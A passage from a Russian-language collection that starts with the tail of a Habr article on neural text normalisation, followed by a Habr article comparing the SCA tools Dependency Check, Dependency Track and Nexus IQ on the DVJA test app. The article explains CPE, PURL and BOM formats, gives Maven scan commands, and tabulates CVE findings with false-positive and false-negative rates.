На рисунке представлена архитектура [сверточной seq2seq сети для машинного перевода,](https://arxiv.org/abs/1705.03122) которая была использована в данном решении для нормализации текста. Машинный перевод и нормализация имеют много общего: по сути, задача сводится к преобразованию одной последовательности в другую. Вначале кодируется исходное предложение (на схеме сверху), то есть предложение на исходном языке или исходная последовательность до нормализации. Далее одновременно вычисляются значения внимания для целевых слов (по центру схемы), то есть слов предложения на целевом языке или целевой последовательности после нормализации. Значения внимания являются результатом скалярного произведения между контекстными репрезентациями декодера (внизу схемы слева) и репрезентациями энкодера. Мы добавляем входные данные, вычисленные с помощью механизма внимания (в центре справа), к состояниям декодера, которые затем предсказывают целевые слова (внизу справа).
При обучении модели слова рассматривались на уровне BPE-токенов (Byte Pair Encoding). BPE-словарь строится по следующим правилам. Вначале элементы BPE-словаря – отдельные символы, при этом на каждом шаге объединяется самая частая пара символов. Так происходит, пока не будет достигнут заранее заданный размер. Лучший результат был получен для BPE-словаря объемом 20 000.
Подведем итоги
--------------
Как инженерный, так и нейросетевой подход показывают довольно высокое качество нормализации текста для русского языка: рассмотренные нами решения заняли место в первой тройке лидеров соревнования.
В то же время важно понимать, что при внедрении в продакшн сложности могут возникнуть с использованием обоих подходов. С одной стороны, написание правил и создание словарей требуют много усилий и занимают немало времени, причем их необходимо регулярно пополнять. С другой стороны, для обучения модели требуется сбор большой обучающей выборки и наличие вычислительных мощностей. Если вас это не пугает, то вы на верном пути. | https://habr.com/ru/post/679838/ | null | ru | null |
# DevSecOps: принципы работы и сравнение SCA. Часть первая
Значимость анализа сторонних компонентов ПО (англ. Software Composition Analysis — SCA) в процессе разработки растет по мере выхода ежегодных отчетов об уязвимостях open source библиотек, которые публикуются компаниями Synopsys, Sonatype, Snyk, White Source. Согласно отчету [The State of Open Source Security Vulnerabilities 2020](https://www.whitesourcesoftware.com/open-source-vulnerability-management-report/) число выявленных уязвимостей в open source в 2019 выросло почти в 1.5 раза в сравнении с предыдущим годом, в то время как компоненты с открытым кодом используются от 60% до 80% проектов. Если обратиться к независимому мнению, то процессы SCA являются отдельной практикой OWASP SAMM и BSIMM в качестве показателя зрелости, а в первой половине 2020 года OWASP выпустила новый стандарт OWASP Software Component Verification Standard (SCVS), предоставляющий лучшие практики по проверке сторонних компонент в цепочке поставок ПО.

Один из самых показательных кейсов [произошел](https://xakep.ru/2017/09/14/equifax-dejstvitelno-vzlomali-cherez-bag-v-apache-struts-no-uyazvimost-okazalas-staroj/) с компанией Equifax в мае 2017 года. Неизвестные злоумышленники завладели информацией о 143 млн. американцев, включая полные имена, адреса, номера социального страхования и водительских удостоверений. В 209 000 случаях в документах также фигурировала информация о банковских картах пострадавших. Данная утечка произошла в следствие эксплуатации критической уязвимости в Apache Struts 2 (CVE-2017-5638), в то время как исправление было выпущено еще в марте 2017 года. У компании было два месяца на установку обновления, однако этим никто не озаботился.
В данной статье будет обсуждаться вопрос выбора инструмента для проведения SCA с точки зрения качества результатов анализа. Также будет приведено функциональное сравнение инструментов. Процесс встраивания в CI/CD и возможности по интеграции оставим на последующие публикации. Широкий список инструментов был представлен OWASP [на своем сайте](https://owasp.org/www-community/Component_Analysis), но в рамках текущего обзора мы коснемся только самого популярного open source инструмента Dependency Check, чуть менее известной open source платформы Dependency Track и Enterprise-решения Sonatype Nexus IQ. Также разберемся, как работают эти решения и сравним полученные результаты на предмет ложных срабатываний.

### Принцип работы
[Dependency Check](https://jeremylong.github.io/DependencyCheck/) — это утилита (CLI, maven, jenkins модуль, ant), которая анализирует файлы проекта, собирает фрагменты информации о зависимостях (package name, groupid, specification title, version…), строит строку CPE — (Common Platform Enumeration), Package URL (PURL) и выявляет для CPE/PURL уязвимости из баз данных (NVD, Sonatype OSS Index, NPM Audit API…), после чего строит единоразовый отчет в формате HTML, JSON, XML…
Рассмотрим, как выглядит CPE:
```
cpe:2.3:part:vendor:product:version:update:edition:language:sw_edition:target_sw:target_hw:other
```
* **Part:** Указание о том, что компонент относится к приложению (a), операционной системе (o), железу (h) (Обязательный пункт)
* **Vendor:** Название производителя продукта (Обязательный пункт)
* **Product:** Название продукта (Обязательный пункт)
* **Version:** Версия компоненты (Устаревший пункт)
* **Update:** Обновление пакета
* **Edition:** Наследуемая версия (Устаревший пункт)
* **Language:** Язык, определяемый в RFC-5646
* **SW Edition:** Версия ПО
* **Target SW:** Программная среда, в которой работает продукт
* **Target HW:** Аппаратная среда, в которой работает продукт
* **Other:** Информация о поставщике или продукте
Пример CPE выглядит следующим образом:
```
cpe:2.3:a:pivotal_software:spring_framework:3.0.0:*:*:*:*:*:*:*
```
Строка означает, что CPE версии 2.3 описывает компонент приложения от производителя `pivotal_software` с названием `spring_framework` версии 3.0.0. Если мы откроем уязвимость [CVE-2014-0225](https://nvd.nist.gov/vuln/detail/CVE-2014-0225) в NVD, то можем увидеть упоминание этой CPE. Первая проблема, на которую сразу стоит обратить внимание — CVE в NVD, согласно CPE, сообщает о наличии проблемы во фреймворке, а не в конкретной компоненте. То есть, если разработчики плотно завязаны на фреймворк, а выявленная уязвимость не касается тех модулей, которые используют разработчики, специалисту по безопасности так или иначе придется разбирать данную CVE и задумываться об обновлении.
URL-адрес также используется инструментами SCA. Формат URL-адреса пакета следующий:
```
scheme:type/namespace/name@version?qualifiers#subpath
```
* **Sсheme:** Всегда будет 'pkg', указывающий, что это URL-адрес пакета (Обязательный пункт)
* **Type:** «Тип» пакета или «протокол» пакета, например maven, npm, nuget, gem, pypi и т.д. (Обязательный пункт)
* **Namespace:** Некоторый префикс имени, такой как идентификатор группы Maven, владелец образа Docker, пользователь или организация GitHub. Необязательный и зависит от типа.
* **Name:** Имя пакета (Обязательный пункт)
* **Version:** Версия пакета
* **Qualifiers:** Дополнительные квалификационные данные для пакета, такие как ОС, архитектура, дистрибутив и т. Д. Необязательный и зависящий от типа пункт.
* **Subpath:** Дополнительный путь в пакете относительно корня пакета
Например:
```
pkg:golang/google.golang.org/genproto#googleapis/api/annotations
pkg:maven/org.apache.commons/io@1.3.4
pkg:pypi/django-package@1.11.1.dev1
```
[Dependency Track](https://dependencytrack.org/) — on-premise веб-платформа, которая принимает готовые Bill of Materials (BOM) сформированные [CycloneDX](https://github.com/CycloneDX) и [SPDX](https://spdx.org/licenses/), то есть готовые спецификации об имеющихся зависимостях. Это XML-файл с описанием зависимостей — name, hashes, package url, publisher, license. Далее Dependency Track разбирает BOM, смотрит имеющиеся к выявленным зависимостям CVE из базы данных уязвимостей (NVD, Sonatype OSS Index …), после чего строит графики, вычисляет метрики, регулярно обновляя данные о статусе уязвимости компонент.
Пример того, как может выглядеть BOM в формате XML:
```
xml version="1.0" encoding="UTF-8"?
Apache
org.apache.tomcat
tomcat-catalina
9.0.14
3942447fac867ae5cdb3229b658f4d48
e6b1000b94e835ffd37f4c6dcbdad43f4b48a02a
f498a8ff2dd007e29c2074f5e4b01a9a01775c3ff3aeaf6906ea503bc5791b7b
e8f33e424f3f4ed6db76a482fde1a5298970e442c531729119e37991884bdffab4f9426b7ee11fccd074eeda0634d71697d6f88a460dce0ac8d627a29f7d1282
Apache-2.0
pkg:maven/org.apache.tomcat/tomcat-catalina@9.0.14
```
BOM может использоваться не только в качестве входных параметров для Dependency Track, но и для инвентаризации компонентов ПО в цепочке поставок, например, для предоставления заказчику ПО. В 2014 году на рассмотрение в США был даже предложен закон [«Cyber Supply Chain Management and Transparency Act of 2014»](https://www.congress.gov/bill/113th-congress/house-bill/5793), который гласил, что при закупке ПО любое гос. учреждение должно запрашивать BOM для предотвращения использования уязвимых компонент, однако в силу акт так и не вступил.
Возвращаясь к SCA, у Dependency Track есть готовые интеграции с Notification Platforms вроде Slack, системами управления уязвимостями вроде Kenna Security. Стоит также сказать, что Dependency Track ко всему прочему выявляет устаревшие версии пакетов и предоставляет информацию о лицензиях (за счет поддержки SPDX).
Если говорить именно о качестве SCA, то здесь есть принципиальная разница.
Dependency Track не принимает проект в качестве входных данных, а принимает именно BOM. Это означает, что если мы захотим проверить проект, то сначала нам нужно сгенерировать bom.xml, например, с помощью CycloneDX. Таким образом, Dependency Track напрямую зависит от CycloneDX. В то же время, это дает возможность кастомизации. Так команда OZON написала [модуль CycloneDX](https://github.com/ozonru/cyclonedx-go) для сборки BOM-файлов для проектов на Golang с целью дальнейшего сканирования через Dependency Track.
[Nexus IQ](https://sonatype.ru/#nexusiq) — коммерческое решение SCA от компании Sonatype, которое является частью экосистемы Sonatype, куда также входит Nexus Repository Manager. Nexus IQ может принимать в качестве входных данных как war архивы (для java проектов) через веб-интерфейс или API, так и BOM, если ваша организация не успела перестроиться с CycloneDX на новое решение. В отличие от open source решений, IQ обращается не только к CPE/PURL к выявленной компоненте и соответствующей уязвимости в базе данных, но и учитывает собственные исследования, например, название уязвимой функции или класса. Механизмы IQ будут рассмотрены позднее при разборе результатов.
Подведем некоторые итоге по функциональным особенностям, а также рассмотрим поддерживаемые языки для анализа:
| Язык | Nexus IQ | Dependency Check | Dependency Track |
| --- | --- | --- | --- |
| Java | + | + | + |
| C/C++ | + | + | - |
| C# | + | + | - |
| .Net | + | + | + |
| Erlang | - | - | + |
| JavaScript (NodeJS) | + | + | + |
| PHP | + | + | + |
| Python | + | + | + |
| Ruby | + | + | + |
| Perl | - | - | - |
| Scala | + | + | + |
| Objective C | + | + | - |
| Swift | + | + | - |
| R | + | - | - |
| Go | + | + | + |
Функциональные возможности
| Функциональные возможности | Nexus IQ | Dependency Check | Dependency Track |
| --- | --- | --- | --- |
| Возможность обеспечивать проверку компонент, используемых в исходном коде на лицензионную чистоту | + | - | + |
| Возможность сканирования и анализа на наличие уязвимостей и лицензионной чистоты для образов Docker | + Интеграция с Clair | - | - |
| Возможность настройки политики безопасности для использования библиотек с открытым исходным кодом | + | - | - |
| Возможность сканирования репозиториев с открытым исходным кодом на наличие уязвимых компонентов | + RubyGems, Maven, NPM, Nuget, Pypi, Conan, Bower, Conda, Go, p2, R, Yum, Helm, Docker, CocoaPods, Git LFS | - | + Hex, RubyGems, Maven, NPM, Nuget, Pypi |
| Наличие специализированной исследовательской группы | + | - | - |
| Работа в закрытом контуре | + | + | + |
| Использование сторонних баз данных | + Закрытая БД Sonatype | + Sonatype OSS, NPM Public Advisors | + Sonatype OSS, NPM Public Advisors, RetireJS, VulnDB, поддержка собственной БД уязвимостей |
| Возможность фильтровать компоненты с открытым исходным кодом при попытке загрузки в контур разработки согласно сконфигурированным политикам | + | - | - |
| Рекомендации по исправлению уязвимостей, наличие ссылок на исправление | + | +- (зависит от описания в публичных базах) | +- (зависит от описания в публичных базах) |
| Ранжирование обнаруженных уязвимостей по степени критичности | + | + | + |
| Ролевая модель доступа | + | - | + |
| Поддержка интерфейса командной строки CLI | + | + | +- (только для CycloneDX) |
| Выборка / сортировка уязвимостей по определяемым критериям | + | - | + |
| Dashboard по состоянию приложений | + | - | + |
| Генерация отчётов в PDF-формате | + | - | - |
| Генерация отчётов в формате JSON\CSV | + | + | - |
| Поддержка русского языка | - | - | - |
Интеграционные возможности
| Интеграция | Nexus IQ | Dependency Check | Dependency Track |
| --- | --- | --- | --- |
| Интеграция с LDAP/Active Directory | + | - | + |
| Интеграция с системой непрерывной интеграции (continous integration) Bamboo | + | - | - |
| Интеграция с системой непрерывной интеграции (continous integration) TeamCity | + | - | - |
| Интеграция с системой непрерывной интеграции (continous integration) GitLab | + | +- (в виде плагина для GitLab) | + |
| Интеграция с системой непрерывной интеграции (continous integration) Jenkins | + | + | + |
| Наличие плагинов к IDE | + IntelliJ, Eclipse, Visual Studio | - | - |
| Поддержка кастомизированной интеграции через web-services (API) инструмента | + | - | + |
### Dependency Check
#### Первый запуск
Запустим Dependency Check к умышленно уязвимому приложению [DVJA](https://github.com/appsecco/dvja).
Для этого воспользуемся [Dependency Check Maven Plugin](https://github.com/jeremylong/DependencyCheck):
```
mvn org.owasp:dependency-check-maven:check
```
В результате в директории target появится dependency-check-report.html.

Откроем файл. После сводной информации об общем количестве уязвимостей можем увидеть информацию об уязвимостях с высоким уровнем Severity и Confidence с указанием на пакет, CPE, число CVE.
Следом идет более подробная информация, в частности то, на основе чего было принято решение (evidence), то есть некий BOM.

Далее идет CPE, PURL и описание CVE. Рекомендации об исправлении кстати не прилагаются в силу отсутствия их в базе NVD.

Для систематичного просмотра результатов сканирования можно настроить Nginx с минимальными настройками, либо отправлять полученные дефекты в систему управления дефектами, которые поддерживают конекторы к Dependency Check. Например, Defect Dojo.
### Dependency Track
#### Установка
Dependency Track, в свою очередь, является веб-платформой с отображающими графиками, поэтому острый вопрос о хранении дефектов в стороннем решении здесь не стоит.
Для установки есть следующие поддерживаемые сценарии: Docker, WAR, Executable WAR.
#### Первый запуск
Переходим по URL запущенного сервиса. Входим через admin/admin, меняем логин и пароль, после чего попадаем на Dashboard. Следующее, что мы сделаем — создадим проект для тестового приложения на Java в *Home/Projects → Create Project* . В качестве примера возьмем DVJA.

Так как Dependency Track может принимать в качестве входных данных только BOM, этот BOM необходимо получить. Воспользуемся [CycloneDX Maven Plugin](https://github.coam/CycloneDX/cyclonedx-maven-plugin):
```
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom
```
Получаем bom.xml и загружаем файл в созданном проекте *DVJA → Dependeencies → Upload BOM*.
Зайдем в Administration → Analyzers. Понимаем, что у нас включен только Internal Analyzer, включающий NVD. Подключим также Sonatype OSS Index.

Таким образом, получим следующую картину для нашего проекта:

Также в списке можно найти одну уязвимость, применимую к Sonatype OSS:

Основное разочарование было в том, что Dependency Track больше не принимает xml-отчеты Dependency Check. Последние поддерживаемые версии интеграции с Dependency Check были 1.0.0 — 4.0.2, в то время как я тестировал 5.3.2.
Вот [видео](https://youtu.be/d2WMONyBbTw) (и [вот](https://youtu.be/IPWPISSk5rc)), когда это было еще возможно.
### Nexus IQ
#### Первый запуск
Установка Nexus IQ происходит из архивов по [документации](https://help.sonatype.com/iqserver/installing/iq-server-installation), но мы для этих целей собрали себе образ Docker.
После входа в консоль необходимо создать Организацию и Приложение.



Как можно видеть, настройка в случае с IQ происходит несколько сложнее, ибо нам также необходимо создать политики, применимые для разных “стейджей” (dev, build, stage, release). Это необходимо, чтобы блокировать уязвимые компоненты по мере продвижения по пайплайну ближе к проду, либо блокировать как только они попадают в Nexus Repo при скачивании разработчиками.
Чтобы ощутить разницу open source и enterprise, выполним такое же сканирование через Nexus IQ аналогично через [Maven plugin](https://help.sonatype.com/integrations/sonatype-clm-for-maven), предварительно создав тестовое приложение в интерфейсе NexusIQ `dvja-test-and-compare`:
```
mvn com.sonatype.clm:clm-maven-plugin:evaluate -Dclm.applicationId=dvja-test-and-compare -Dclm.serverUrl= -Dclm.username= -Dclm.password=
```
Переходим по URL к сгенерированному отчету в веб-интерфейсе IQ:

Здесь можно увидеть все нарушения политики с указанием разного уровня значимости (от Info до Security Critical). Буква D рядом с компонентой означает, что компонента Direct Dependency, а буква T рядом с компонентом означает, что компонента Transitive Dependency, то есть является транзитивной.
Кстати, отчет [State of Open Source Security Report 2020](https://snyk.io/open-source-security/) от Snyk сообщает, что более 70% уязвимостей open source обнаруженных в Node.js, Java и Ruby находятся в транзитивных зависимостях.
Если открыть одно из нарушений политики Nexus IQ, мы можем увидеть описание компоненты, а также Version Graph, который показывает местоположение текущей версии на временном графе, а также в какой момент уязвимость перестает быть уязвимой. Высота свечей на графе показывает популярность использования этой компоненты.

Если перейти в раздел уязвимостей и раскрыть CVE, то можно прочитать описание к этой уязвимости, рекомендации по устранению, а также причину, по которой данная компонента попала под нарушение, то есть наличие класса `DiskFileitem.class`.


Подведем итоги только касающиеся сторонних компонентов Java, убрав компоненты js. В скобках укажем число тех уязвимостей, которые были найдены за пределами NVD.
**Итого Nexus IQ:**
* Dependencies Scanned: 62
* Vulnerable Dependencies: 16
* Vulnerabilities Found: 42 (8 sonatype db)
**Итого Dependency Check:**
* Dependencies Scanned: 47
* Vulnerable Dependencies: 13
* Vulnerabilities Found: 91 (14 sonatype oss)
**Итого Dependency Track:**
* Dependencies Scanned: 59
* Vulnerable Dependencies: 10
* Vulnerabilities Found: 51 (1 sonatype oss)
Следующим шагов проанализируем полученные результаты и разберемся, что из этих уязвимостей является реальным дефектом, а что ложным срабатыванием.
### Дисклеймер
Данное ревью не является неоспоримой истиной. Перед автором не стояло цели выделить отдельный инструмент на фоне других. Смысл ревью был показать механизмы работы инструментов SCA и способы проверки их результатов.
### Сравнение результатов
**Условия:**
**Ложным срабатыванием по отношению к уязвимостям сторонних компонентов является:**
* **Несоответствие CVE к выявленной компоненте**
* Например, если уязвимость выявлена во фреймворке struts2, а инструмент указывает на компоненту фреймворка struts-tiles, к которой эта уязвимость не относится, то это false positive
* **Несоответствие CVE к выявленной версии компоненты**
* Например, уязвимость привязана к версии python > 3.5 и инструмент отмечает уязвимой версию 2.7 — это false positive, так как на самом деле уязвимость относится только к ветке продукта 3.x
* **Дублирование CVE**
* Например, если SCA указал на CVE, позволяющую реализовать RCE, после чего SCA указывает для этой же компоненты CVE, применимую к продуктам Cisco, подверженным этой RCE. В таком случае будет false positive.
* Например, CVE была найдена в компоненте spring-web, после чего SCA указывает на эту же CVE в других компонентах фреймворка Spring Framework, в то время как CVE к другим компонентам отношения не имеет. В таком случае будет false positive.
Объектом исследования выбран Open Source проект DVJA. В исследовании участвовали только java компоненты (без js).
### Сводные результаты
Перейдем сразу в результатом ручного ревью выявленных уязвимостей. С полным отчетом для каждой CVE можно познакомиться в Приложении.
*Сводные результаты по всем уязвимостям:*
| Параметр | Nexus IQ | Dependency Check | Dependency Track |
| --- | --- | --- | --- |
| Всего выявлено уязвимостей | 42 | 91 | 51 |
| Неверно выявлено уязвимостей (false positive) | 2(4.76%) | 62(68,13%) | 29(56.86%) |
| Не обнаружено релевантных уязвимостей (false negative) | 10 | 20 | 27 |
*Сводные результаты по компонентам:*
| Параметр | Nexus IQ | Dependency Check | Dependency Track |
| --- | --- | --- | --- |
| Всего выявлено компонентов | 62 | 47 | 59 |
| Всего уязвимых компонентов | 16 | 13 | 10 |
| Неверно выявлены уязвимые компоненты (false positive) | 1 | 5 | 0 |
| Неверно выявлены уязвимые компоненты (false positive) | 0 | 6 | 6 |
Построим визуальные графики, чтобы оценить соотношение false positive и false negative к общему числу уязвимостей. По горизонтали отмечены компоненты, а по вертикали выявленные в них уязвимости.



Для сравнения, аналогичное исследование было проведено командой Sonatype по тестированию проекта из 1531 компоненты с помощью OWASP Dependency Check. Как мы можем увидеть, соотношение шума к корректным срабатываниям соезмиримо с нашими результатами.

*Источник: [www.sonatype.com/why-precision-matters-ebook](https://www.sonatype.com/why-precision-matters-ebook)*
Рассмотрим некоторые CVE из результатов нашего сканирования, чтобы понять причину таких результатов.
### Подробнее
#### №1
Разберем сначала некоторые интересные моменты Sonatype Nexus IQ.
Nexus IQ указывает на проблему с десереализацией с возможностью выполнить RCE в Spring Framework несколько раз. CVE-2016-1000027 в spring-web:3.0.5 в первый раз, и CVE-2011-2894 в spring-context:3.0.5 и spring-core:3.0.5. Поначалу кажется, что происходит дублирование уязвимости по нескольким CVE. Ибо, если посмотреть CVE-2016-1000027 и CVE-2011-2894 в базе NVD, то кажется, что все очевидно
| Компонент | Уязвимость |
| --- | --- |
| spring-web:3.0.5 | CVE-2016-1000027 |
| spring-context:3.0.5 | CVE-2011-2894 |
| spring-core:3.0.5 | CVE-2011-2894 |
Описание [CVE-2011-2894](https://nvd.nist.gov/vuln/detail/CVE-2011-2894) из NVD:

Описание [CVE-2016-1000027](https://nvd.nist.gov/vuln/detail/CVE-2016-1000027) из NVD:

CVE-2011-2894 сама по себе довольно известная. В отчете [White Source за 2011 год](http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/) эта CVE была признана одной из самых часто встречающихся. Описания для CVE-2016-100027 в принципе немного в NVD, да и применима она, вроде бы, только для Spring Framework 4.1.4. Взглянем на [reference](https://www.tenable.com/security/research/tra-2016-20) и тут становится все более или менее понятно. Из [статьи Tenable](https://www.tenable.com/security/research/tra-2016-20) мы понимаем, что помимо уязвимости в `RemoteInvocationSerializingExporter` в CVE-2011-2894, уязвимость наблюдается в `HttpInvokerServiceExporter`. Об этом нам и говорит Nexus IQ:

Тем не менее ничего подобного нет в NVD, из-за чего Dependency Check и Dependency Track получают по false negative.
Также из описания CVE-2011-2894 можно понять, что уязвимость действительно присутствует и в spring-context:3.0.5 и в spring-core:3.0.5. Подтверждение этому можно найти в статье от того, кто эту уязвимость нашел.
#### №2
| Компонент | Уязвимость | Результат |
| --- | --- | --- |
| struts2-core:2.3.30 | CVE-2016-4003 | FALSE |
Если мы изучим уязвимость CVE-2016-4003, то поймем, что ее исправили еще в версии 2.3.28, тем не менее Nexus IQ нам о ней сообщает. В описании к уязвимости есть примечание:

То есть уязвимость существует только в связке с устаревшей версией JRE, о чем нас решили предупредить. Тем не менее, считаем это False Positive, хоть и не самым страшным.
#### № 3
| Компонент | Уязвимость | Результат |
| --- | --- | --- |
| xwork-core:2.3.30 | CVE-2017-9804 | TRUE |
| xwork-core:2.3.30 | CVE-2017-7672 | FALSE |
Если мы посмотрим описание к CVE-2017-9804 и CVE-2017-7672, то поймем, что проблема в `URLValidator class`, причем CVE-2017-9804 вытекает из CVE-2017-7672. Наличие второй уязвимости не несет никакой полезной нагрузки кроме того, что ее severity вырос до High, поэтому можно считать это лишним шумом.
В целом других false positive для Nexus IQ найдено не было.
### №4
Есть несколько моментов, которые выделяют IQ на фоне других решений.
| Компонент | Уязвимость | Результат |
| --- | --- | --- |
| spring-web:3.0.5 | CVE-2020-5398 | TRUE |
CVE в NVD сообщает, что она применима только для версий 5.2.x до 5.2.3, 5.1.x до 5.1.13, и версий 5.0.x до 5.0.16, тем не менее, если мы посмотрим описание CVE в Nexus IQ, то увидим следующее:
*Advisory Deviation Notice: The Sonatype security research team discovered that this vulnerability was introduced in version 3.0.2.RELEASE and not 5.0.x as stated in the advisory.*
После этого следует PoC к этой уязвимости, который сообщает, что она присутствует в версии 3.0.5.
False negative отправляется к Dependency Check и Dependency Track.
### №5
Посмотрим на false positive для Dependency Check и Dependency Track.
Dependency Check отдельно выделяется тем, что отражает те CVE, которые относятся ко всему фреймворку в NVD, в те компоненты, к которым эти CVE не применимы. Это касается CVE-2012-0394, CVE-2013-2115, CVE-2014-0114, CVE-2015-0899, CVE-2015-2992, CVE-2016-1181, CVE-2016-1182, которые Dependency Check “прикрутил” к struts-taglib:1.3.8 и struts-tiles-1.3.8. Эти компоненты не имеют ничего общего с тем, что описано в CVE — обработка запросов, валидация страниц и так далее. Это обусловлено тем, что общее между этими CVE и компонентами — только фреймворк, из-за чего Dependency Check и посчитал это уязвимостью.
Такая же ситуация с spring-tx:3.0.5, и похожая ситуация с struts-core:1.3.8. Для struts-core Dependency Check и Dependency Track нашли очень много уязвимостей, которые на самом деле применимы к struts2-core, который по сути является отдельным фреймворком. В данном случае Nexus IQ правильно понял картину и в тех CVE, которые выдал, указал, что struts-core пришел end of life и необходимо перейти к struts2-core.
### №6
В некоторых ситуациях трактовать явную ошибку Dependency Check и Dependency Track несправедливо. В частности CVE-2013-4152, CVE-2013-6429, CVE-2013-6430, CVE-2013-7315, CVE-2014-0054, CVE-2014-0225, CVE-2014-0225, которые Dependency Check и Dependency Track отнесли к spring-core:3.0.5 на самом деле относятся к spring-web:3.0.5. При этом часть из этих CVE были найдены и Nexus IQ, тем не менее IQ их корректно определил к другой компоненте. От того, что эти уязвимости не были найдены в spring-core, нельзя утверждать, что их нет во фреймворке в принципе и open source инструменты справедливо указали на эти уязвимости (просто немного промахнулись).
### Выводы
Как мы можем видеть, определение достоверности выявленных уязвимостей ручным ревью не дает однозначных результатов, из-за чего возникают спорные моменты. Результаты таковы, что решение Nexus IQ обладает наименьшим показателем ложных срабатываний и наибольшей точностью.
В первую очередь, это связано с тем, что команда Sonatype расширило описание для каждой уязвимости CVE из NVD в своих базах, указав с точностью до класса или функции уязвимости для той или иной версии компоненты, проведя дополнительные исследования (например, проверив уязвимости на более старых версий ПО).
Немаловажное влияние на результаты играют и те уязвимости, которые не попали в NVD, но тем не менее присутствуют в базе Sonatype с пометкой SONATYPE. Согласно отчету [The State of Open Source Security Vulnerabilities 2020](https://www.whitesourcesoftware.com/open-source-vulnerability-management-report/) о 45% обнаруженных уязвимостей с открытым исходным кодом не сообщается в NVD. Согласно базе данных WhiteSource, только 29% всех уязвимостей с открытым исходным кодом, зарегистрированных за пределами NVD, в конечном итоге публикуются в ней, поэтому так важно искать уязвимости также в других источниках.
Как итог Dependency Check выдает большое количество шума, упуская часть уязвимых компонент. Dependency Track выдает меньший шум и выявляет большое число компонент, что визуально не режет глаза в веб-интерфейсе.
Тем не менее, практика показывает, что именно open source должен становится первым шагов на пути к зрелому DevSecOps. Первое, над чем стоит задуматься для встраивания SCA в разработку, — это процессы, а именно размышления совместно с руководством и смежными департаментами над тем, как должны выглядеть идеальные процессы у себя в организации. Возможно, окажется так, что для вашей организации на первых порах Dependency Check или Dependency Track закроют все стоящие перед бизнесом потребности, а Enterprise-решения будут являться логическим продолжением в силу роста сложности разрабатываемых приложений.
**Приложение А. Результаты применительно к компонентам**
**Условные обозначения:**
* High — уязвимости высокого и критичного уровня в компоненте
* Medium — Уязвимости среднего уровня критичности в компоненте
* TRUE — Верно определенная уязвимость (True positive issue)
* FALSE — Ложное срабатывание (False positive issue)
| Компонент | Nexus IQ | Dependency Check | Dependency Track | Результат |
| --- | --- | --- | --- | --- |
| dom4j: 1.6.1 | High | High | High | TRUE |
| log4j-core: 2.3 | High | High | High | TRUE |
| log4j: 1.2.14 | High | High | - | TRUE |
| commons-collections:3.1 | High | High | High | TRUE |
| commons-fileupload:1.3.2 | High | High | High | TRUE |
| commons-beanutils:1.7.0 | High | High | High | TRUE |
| commons-codec:1:10 | Medium | - | - | TRUE |
| mysql-connector-java:5.1.42 | High | High | High | TRUE |
| spring-expression:3.0.5 | High | компонент не найден | | TRUE |
| spring-web:3.0.5 | High | компонент не найден | High | TRUE |
| spring-context:3.0.5 | Medium | компонент не найден | - | TRUE |
| spring-core:3.0.5 | Medium | High | High | TRUE |
| struts2-config-browser-plugin:2.3.30 | Medium | - | - | TRUE |
| spring-tx:3.0.5 | - | High | - | FALSE |
| struts-core:1.3.8 | High | High | High | TRUE |
| xwork-core: 2.3.30 | High | - | - | TRUE |
| struts2-core: 2.3.30 | High | High | High | TRUE |
| struts-taglib:1.3.8 | - | High | - | FALSE |
| struts-tiles-1.3.8 | - | High | - | FALSE |
**Приложение Б. Результаты применительно к уязвимостям**
**Условные обозначения:**
* High — уязвимости высокого и критичного уровня в компоненте
* Medium — Уязвимости среднего уровня критичности в компоненте
* TRUE — Верно определенная уязвимость (True positive issue)
* FALSE — Ложное срабатывание (False positive issue)
| Компонент | Nexus IQ | Dependency Check | Dependency Track | Severity | Результат | Комментарий |
| --- | --- | --- | --- | --- | --- | --- |
| dom4j: 1.6.1 | CVE-2018-1000632 | CVE-2018-1000632 | CVE-2018-1000632 | High | TRUE | |
| | CVE-2020-10683 | CVE-2020-10683 | CVE-2020-10683 | High | TRUE | |
| log4j-core: 2.3 | CVE-2017-5645 | CVE-2017-5645 | CVE-2017-5645 | High | TRUE | |
| | CVE-2020-9488 | CVE-2020-9488 | CVE-2020-9488 | Low | TRUE | |
| log4j: 1.2.14 | CVE-2019-17571 | CVE-2019-17571 | - | High | TRUE | |
| | - | CVE-2020-9488 | - | Low | TRUE | |
| | SONATYPE-2010-0053 | - | - | High | TRUE | |
| commons-collections:3.1 | - | CVE-2015-6420 | CVE-2015-6420 | High | FALSE | Дублирует RCE(OSSINDEX) |
| | - | CVE-2017-15708 | CVE-2017-15708 | High | FALSE | Дублирует RCE(OSSINDEX) |
| | SONATYPE-2015-0002 | RCE (OSSINDEX) | RCE(OSSINDEX) | High | TRUE | |
| commons-fileupload:1.3.2 | CVE-2016-1000031 | CVE-2016-1000031 | CVE-2016-1000031 | High | TRUE | |
| | SONATYPE-2014-0173 | - | - | Medium | TRUE | |
| commons-beanutils:1.7.0 | CVE-2014-0114 | CVE-2014-0114 | CVE-2014-0114 | High | TRUE | |
| | - | CVE-2019-10086 | CVE-2019-10086 | High | FALSE | Уязвимость применима только для версий 1.9.2+ |
| commons-codec:1:10 | SONATYPE-2012-0050 | - | - | Medium | TRUE | |
| mysql-connector-java:5.1.42 | CVE-2018-3258 | CVE-2018-3258 | CVE-2018-3258 | High | TRUE | |
| | CVE-2019-2692 | CVE-2019-2692 | - | Medium | TRUE | |
| | - | CVE-2020-2875 | - | Medium | FALSE | Та же самая уязвимость как и CVE-2019-2692, но c припиской «attacks may significantly impact additional products» |
| | - | CVE-2017-15945 | - | High | FALSE | Не относится к mysql-connector-java |
| | - | CVE-2020-2933 | - | Low | FALSE | Дубликат к CVE-2020-2934 |
| | CVE-2020-2934 | CVE-2020-2934 | - | Medium | TRUE | |
| spring-expression:3.0.5 | CVE-2018-1270 | компонент не найден | - | High | TRUE | |
| | CVE-2018-1257 | - | - | Medium | TRUE | |
| spring-web:3.0.5 | CVE-2016-1000027 | компонент не найден | - | High | TRUE | |
| | CVE-2014-0225 | - | CVE-2014-0225 | High | TRUE | |
| | CVE-2011-2730 | - | - | High | TRUE | |
| | - | - | CVE-2013-4152 | Medium | TRUE | |
| | CVE-2018-1272 | - | - | High | TRUE | |
| | CVE-2020-5398 | - | - | High | TRUE | Показательный пример в пользу IQ: «The Sonatype security research team discovered that this vulnerability was introduced in version 3.0.2.RELEASE and not 5.0.x as stated in the advisory.» |
| | CVE-2013-6429 | - | - | Medium | TRUE | |
| | CVE-2014-0054 | - | CVE-2014-0054 | Medium | TRUE | |
| | CVE-2013-6430 | - | - | Medium | TRUE | |
